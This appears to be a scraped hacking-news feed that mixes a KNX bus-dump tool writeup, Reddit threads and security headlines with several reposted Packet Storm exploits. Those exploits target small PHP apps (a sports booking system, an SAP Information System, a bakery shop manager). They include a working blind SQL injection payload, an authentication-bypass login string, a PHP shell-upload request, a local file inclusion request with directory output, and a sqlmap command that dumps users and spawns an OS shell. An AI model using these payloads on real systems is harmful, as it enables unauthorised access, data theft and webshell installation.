Hacking on Medium
Module-2 | OWASP ModSecurity Core Rule Set -Pentesting & Bypassing Cloud Web Application Firewall…

https://cdn-images-1.medium.com/max/600/1*GDkNNwPsI7tL1p0ZV9dnyw.png
Q. What is Core Rule Set & why it is utilized by all the cloud WAFs?
A. We will try to understand more about the core rule set along with…

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
KNX-Bus-Dump - A Tool To Listen On A KNX Bus Via TPUART And The Calimero Project Suite And To Dump The Data From The Packets Into A Wireshark-Compatible File Hex Dump

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyLi0gQ8NmQWP3syFUwkaNTPMeOm1fesd2vUsEmVDB4lEIesCXXiEw3ioXLRFiEeUZgddKbCJWDdxfkbEJ0ZorXqV3UUcCg0OOS0jJGip96c29kBSaRFObdaROcAkn4umMmQYIvCMVLMWhaHvfwK-wGjibNnllxilZKDm8yGdt1NTfpn6B_68dgAKy/w640-h524/KNX-Bus-Dump_6_Local-KNX-Setup.jpeg KNX is a popular building automation protocol and is used to interconnect sensors, actuators and other components of a smart building together. Our KNX Bus Dump tool uses the Calimero java library, which we contributed to for the sake of this tool, to record the telegrams sent over a KNX bus. Particularly, our tool accesses the KNX bus through a TPUART connection but can be changed to use different connection mediums. The telegrams are dumped into a Wireshark-compatible hex dump file. Timestamps are provided and normalized to UTC time with nanosecond precision to perform data analysis and provide a timeline of the telegrams. The hex dump file can be imported into Wireshark, which can be configured to dissect the KNX telegrams with Wireshark’s cEMI dissector.
Our tool can be used for protocol analysis of KNX sensors, actuators and other KNX devices. For example, we used the tool to understand our KNX devices and found irregular KNX telegrams. The tool is also ideal for security analysis of KNX devices given that it exposes all details of the involved protocol and data sent over the KNX bus.

Tcpdump and Wireshark cannot be used to dump telegrams sent over a KNX bus since we are dealing with native KNX telegrams, not TCP/IP packets. Wireshark and tcpdump can dump KNXnet/IP packets, which are TCP/IP packets. KNXnet/IP is a protocol for sending commands and data to a KNX bus over a TCP/IP network. PrerequisitesThis tool is designed to work with the Calimero Java library and is compatible with a Raspberry Pi 3 or 4 and a Raspberry Pi HAT for the TPUART connection.

Here are some guides to getting the environment setup:

1. KNX Raspberry PiHAT Usage Walkthrough
2. Raspberry Pi and Calimero Suite Setup

Note: The next steps will assume that you setup your environment according to these guides. UsageCreating the Hex Dump1.
Place the KNXBusDump.java file into the introduction/src/main/java/ folder of the Calimero Project suite.

2.
Change into the introduction folder.

3.
To run the program, you can simply run: ./gradlew run -Pcalimero.serial.tpuart.maxInterByteDelay=60000 -DmainClass=KNXBusDump Refer to the troubleshooting guide below for some common error solutions.

4.
Now, you wait for some messages to be transmitted on the bus and the dumped telegrams will be in the KNXBusDump-Telegrams.txt file.

5.
Cancel the tool using Ctrl-C and the file is now ready to be imported into Wireshark to be analyzed. Analyzing the Hex DumpIn Wireshark, you have the ability to import packets from a hex dump and specify a dissector to analyze the packet.

1.
Upon starting Wireshark, wait for the initial loading to finish. Then click File -> Import From Hex Dump... https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZGvbjM7z-WNksG9rEytzNhhrV13MphJzCJwZSgnjUDriEH0jNOUn2-plo-6XaovMj8OyQPI7AMaC3wN7xZS-Au0AwpAmwR3ZULTjCfHz-rMVa-502A4pUu_e6vo1ZdfUiuH0ilEEqx-G_fxXWCDSCaN2uKDOrLxjAO0p8WtSxPZVRl6nylWCX5n3Y/s16000/KNX-Bus-Dump_1.png 2.
In order to properly parse this out, we need to give it a regular expression (regex) with some tags. ^\s*(?\d{4}-\d\d\-\d\dT(\d\d\:){2}\d\d.(\d){6}[Z])\s(?3.
Choose the hex dump file as the source.

4.
Under the new dialog, change to the Regular Expression tab and paste the regex into the box.

5.
Ensure that the data encoding is Plain hex 200*16

6.
[...]

___________________________
@hacking_Attack
@Hacking_Video

In the Timestamp format textbox, we need to specify the pattern that is generated by the tool. %Y-%m-%dT%H:%M:%S.%fZ NOTE: The timestamp format MUST be the EXACT SAME as this. Otherwise, there will not be a timestamp parsed out.

7.
Under the Encapsulation section, change Encapsulation Type to Wireshark Upper PDU Export.

8.
Check ExportPDU to specify the cemi dissector.

9.
Now you're able to import the file and analyze the telegram. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy9Cr2RLnYcm99yanf18qjHRoVZld6sEH0k2xte9BIZmYUU12rgg6bvANsCBXY_2f-T4eD8HQtM0mss7A5WsQFVFSAXUvF33bmxtfDNDc_95skSxm-Ax8fk0H-wj1CZjBNaHkiNIO2w_-S0jhq4xxBRxawePonb4Ed8_HjKTDxPNW-8nHme2YJxBpj/w480-h640/KNX-Bus-Dump_2.png Sample OutputWireshark Timestamp: https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilZCoiZOVgEWYruH7878ukvbVpGun16RrCFW1Q5Am6kKxplKeQ_DXVj_s8QwULc-1g9UMidQzWFkeds0Vo75Te-YRp9-jLfHuBD7tCUgU2N9_YGDp8vnKB5NBCbw8o0m4XcbbCimcwNV79CyaqsxfdFlw11S_3H93VjOSBKypExptUTvX8ChLi6hXT/w640-h304/KNX-Bus-Dump_3.png Corresponding Hex Dump File https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx0Y9mhSI5e7NmRcKOn_-RIK4cM3f8_1OG9CbjW-QrNGL2MUa6AmTUR6FBCwiL86agii_tW71MXZeNWMpzZ5T0jqQCLGVFqt2TeOTUVVV82UQttRkm-ppufqpBTJnAJJLPBM-xGKm1s8lY906kK-YsiD2b81z3a590zrEvhrwRlOhEzwHlFD7By9Zl/w640-h218/KNX-Bus-Dump_4.png Note: The time that is highlighted is the NORMALIZED UTC TIME. No matter what the timezone next to the time says, it will ALWAYS be the right time in UTC. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxfUz2jdYx3pwxSIWyr6nFF6GYc9pNwJH8uf-HaEeyFFttKCv9cfYmD564dTlLf9ekznzQ4C554b3RylFrbr_rDE_P-C19uTfvmzxF-VrCfgHGPhVTpk7msSJdCZZ1-KmLrglUYjkinOLBx3VAnIDNvkUfnTh5NLB-jViQKypuU3T5hqFKaNQCTlxV/w640-h334/KNX-Bus-Dump_5_Wireshark-Sample-Import-Output.png Considerations:

1. The cemi dissector starts at the message code (MC) portion of the telegram. It does not take into consideration the medium type.
2. The reason why the TPCI is highlighted in red is because of a design choice. The dissector will see that the packet is an Unnumbered Data Packet (UDP) which means that the sequence number, according to the KNX standard, is usually set to 0. However, sometimes some devices will set this to a non-zero value. In this case, it was set to 1. The dissector will then check if the sequence number is zero. In this case it is not, thus the error message for the sequence number expecting to be 0. Troubleshooting GuideThese are some common errors that can occur when running this program with this setup guide. I have provided solutions in hopes that it fixes the error. Running Discover KNX Servers program instead of the Bus DumpMake sure that you type in all the commands exactly. Running the command with "Dmainclass" will cause the program to default to the Discover KNX Servers program. Make sure it's "DmainClass" Cannot get the initial state of the TPUART portMake sure that KNXD (if you have it installed per these guides) is not running. If following this guide, then KNXD will be using that same port and only one process can use the serial port at a time. Wireshark: "Can't initialize scanner: Unknown error"If you copy and pasted the contents of the hex dump files from above, you could be missing an extra new line character. For example, in "SampleData1.txt", the github representation shows 4 lines of data when in reality it is 4 lines of data plus a newline character. So one possible option is to simply press "Enter" after the last byte of data in the file you're importing. Trying sample outputIn this repository, I have provided the sample file data in Sample-KNXBusDump-Telegrams.txt that was used to create the screenshots. Feel free to import this into Wireshark to test it yourself. Testing scenarioThe tool was tested on this local KNX Testbed. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyLi0gQ8NmQWP3syFUwkaNTPMeOm1fesd2vUsEmVDB4lEIesCXXiEw3ioXLRFiEeUZgddKbCJWDdxfkbEJ0ZorXqV3UUcCg0OOS0jJGip96c2[...]

___________________________
@hacking_Attack
@Hacking_Video

9kBSaRFObdaROcAkn4umMmQYIvCMVLMWhaHvfwK-wGjibNnllxilZKDm8yGdt1NTfpn6B_68dgAKy/w640-h524/KNX-Bus-Dump_6_Local-KNX-Setup.jpeg Download KNX-Bus-Dump

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
TIL the IRS still operates largely on mainframe computers running 60 year old code

https://external-preview.redd.it/8aqrrnCcxhk_hubfVDZ5o4OT_0G3wD4N2-ju87u64ss.jpg?width=640&crop=smart&auto=webp&s=8b61101a1ed014e9566812b0512936468c51d8a9 submitted by /u/kyjinn
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
In a defensive scenario. How do you detect attackers who use VPN?

How are hackers who use VPN detected

This question is open to different steps and techniques, let’s exchange knowledge.

There are a few ways I work in defensive scenarios

I frequently see repeated code fragments in different attacks that would be difficult to forge if the original source code was not available.

The same technical techniques are employed. On Windows, for example, there are numerous ways to start a program automatically. The method used by a specific attacker group is frequently unique to them.

IP addresses and domains are being reused across attacks. Sometimes the domains and IPs aren't the same, but something about how they're registered or served tells us they're related.

When the attacker forgets to use the VPN, we see their true IP address. It's uncommon but extremely valuable.

Frequently, the victim has only a few capable adversaries. There is no reason for Russia, China, or Israel to hack Sony. There are only a few obvious suspects in an attack on an Iranian nuclear facility. Nobody but China would be interested in hacking Chinese dissidents.

We track these things over time so that we can connect information from various attacks.

Attribution is not a precise science. We don't always know what to do. Sometimes attackers impersonate each other, and we probably fall for it from time to time. Other times, however, we can tell which group we're looking at.

I have always believed to be an excellent hacker u have to be an excellent defender.

So in a defensive scenario how do you personally detected hackers who use vpn?

submitted by /u/Simonvilla1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Sports Complex Booking System 1.0 SQL Injection

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
Online Sports Complex Booking System version 1.0 suffers from a remote blind SQL injection vulnerability in Users.php. This is a similar issue as the one discovered by Saud Alenazi in March of 2022 but affects a different file.

MD5 | 948b8cee734bbd6b25d4c6d4da656881

Download
#### Title: Online Sports Complex Booking System 1.0 SQL Injection
#### Author: Zllggggg
#### Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
#### Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
#### Reference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20SQL%20Injection(%E4%BA%8C).md
#### Tested on: Windows, MySQL, Apache

After entering the background, click the registered clients navigation, select a piece of data and click delete

[image: 1648884355.jpg]

Find the corresponding source code and find that the ID parameter passed by
post does not have any filtering

[image: 1648884613.jpg]

The vulnerability is also verified in sqlmap

[image: 1648884408.jpg]

Data packet
```
POST /scbs/classes/Users.php?f=delete_client HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 4
Origin: http://localhost
Connection: close
Referer: http://localhost/scbs/admin/?page=clients
Cookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

id=2
```

Payload
```
Parameter: id (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 4836 FROM (SELECT(SLEEP(5)))QbFZ) AND
'aPSM'='aPSM
---
```

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
cmark-gfm Integer overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SAP Information System 1.0 Shell Upload

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
SAP Information System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 445bda3eaf07300e9f784c783c0ebdba

Download
# Title: SAP Information System 1.0 Shell Upload
# Author: Hejap Zairy
# Date: 05.04.2022
# Vendor: https://www.sourcecodester.com/php/15262/sap-information-system-using-phppdo-oop.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/SAP_Information_System.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.jpg files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload profile files

```

```
[+] Payload POST
```
POST /SAP_Information_System/controllers/edit_householdImage.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------3440160751499277351272200964
Content-Length: 1343
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/SAP_Information_System/Dashboard/pages/Beneficiaries.php
Cookie: PHPSESSID=rcumpt42s3tngl4b74i4ndrpl9
-----------------------------3440160751499277351272200964

Content-Disposition: form-data; name="image_profile"; filename="0day_hejap.png.php"

Content-Type: image/jpg


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Bakery Shop Management System 1.0 Local File Inclusion

https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Bakery Shop Management System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | 406bbd551d30b93c453d0bbc92d5f4d1

Download
# Title: Bakery Shop Management System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
Needs more filtering require_once

```
require_once('DBConnection.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
if($_SESSION['type'] != 1 && in_array($page,array('maintenance','products','stocks'))){
header("Location:./");
exit;
}
```

[+] Payload GET
```
GET //bsms/?page=../../../0day&515=dir HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL

#Response
```
Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\xampp\htdocs\bsms

04/06/2022 04:18 AM .
04/06/2022 05:05 AM ..
02/14/2022 10:39 AM 16,358 Actions.php
08/04/2021 11:04 PM css
02/14/2022 11:55 AM database
09/09/2021 11:54 AM DataTables
02/14/2022 11:55 AM 865 DBConnection.php
08/05/2021 03:09 AM Font-Awesome-master
02/14/2022 12:00 PM 10,407 home.php
02/14/2022 11:07 AM images
02/14/2022 02:26 PM 10,018 index.php
09/11/2021 11:40 AM js
02/14/2022 11:11 AM 4,372 login.php

```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/qLNHh9Q.png
https://i.imgur.com/XDSsyNL.jpg



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Bakery Shop Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
Bakery Shop Management System version 1.0 suffers from a remote blind SQL injection vulnerability that can lead to code execution and authentication bypass.

MD5 | 7563ba7c628bb1afba90da4c600c5295

Download
# Title: Bakery Shop Management System 1.0 - Blind Time SQLi To Rce
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : https://0day.gov/bsms/login.php
# 2 - SQLi Authentication Bypass [admin'or 1=1 or ''=']
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell
#vulnerability Code php

---
```

$sql = "SELECT p.*,c.name as cname FROM `product_list` p inner join `category_list` c on p.category_id = c.category_id where p.status = 1 and p.delete_flag = 0 order by `name` asc";
$qry = $conn->query($sql);
while($row = $qry->fetch_assoc()):
$stock_in = $conn->query("SELECT sum(quantity) as `total` FROM `stock_list` where unix_timestamp(CONCAT(`expiry_date`, ' 23:59:59')) >= unix_timestamp(CURRENT_TIMESTAMP) and product_id = '{$row['product_id']}' ")->fetch_array()['total'];
$stock_out = $conn->query("SELECT sum(quantity) as `total` FROM `transaction_items` where product_id = '{$row['product_id']}' ")->fetch_array()['total'];
$stock_in = $stock_in > 0 ? $stock_in : 0;
$stock_out = $stock_out > 0 ? $stock_out : 0;
$qty = $stock_in-$stock_out;
$qty = $qty > 0 ? $qty : 0;
?>
```
---
#Status: CRITICAL
[+] Payload POST

---
POST /bsms/Actions.php?a=login HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 48
Origin: http://0day.gov
Connection: close
Referer: https://0day.gov/bsms/login.php
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s

username=admin'or+1%3D1+or+''%3D'&password=hejap
---
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin'or 1=1 or ''='' AND (SELECT 1610 FROM (SELECT(SLEEP(515)))eFaV) AND '515'='515&password=hejap
---

#Blind SQLi Time to Rce
#ُExploit

sqlmap -r hejap_0day --dbs --time-sec=10 --threads=10 -D bsms_db -T user_list --dump --eta --technique=t --os-shell

# Description:
The SQLi vulnerability We can use this information to construct an injection attack to bypass authentication.
# Proof and Exploit:
https://i.imgur.com/zR6Mekg.png
https://i.imgur.com/RQ1JXeK.png
https://i.imgur.com/0x9gepw.png


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Why XDR As We Know It Will Fail

Don't take the XDR hype at face value. Do security due diligence and add a connectivity level for data access across all silos for best response.

Dark Reading: Attacks/Breaches
Linux Systems Are Becoming Bigger Targets

To prevent Linux exploits, organizations should establish an integrated security approach that extends to the network edge.

Dark Reading: Attacks/Breaches
FBI-Led Operation Disrupts Russian GRU Botnet

"Cyclops Blink" operation disabled firewalls behind the Sandworm hacking team's network of infected victim devices.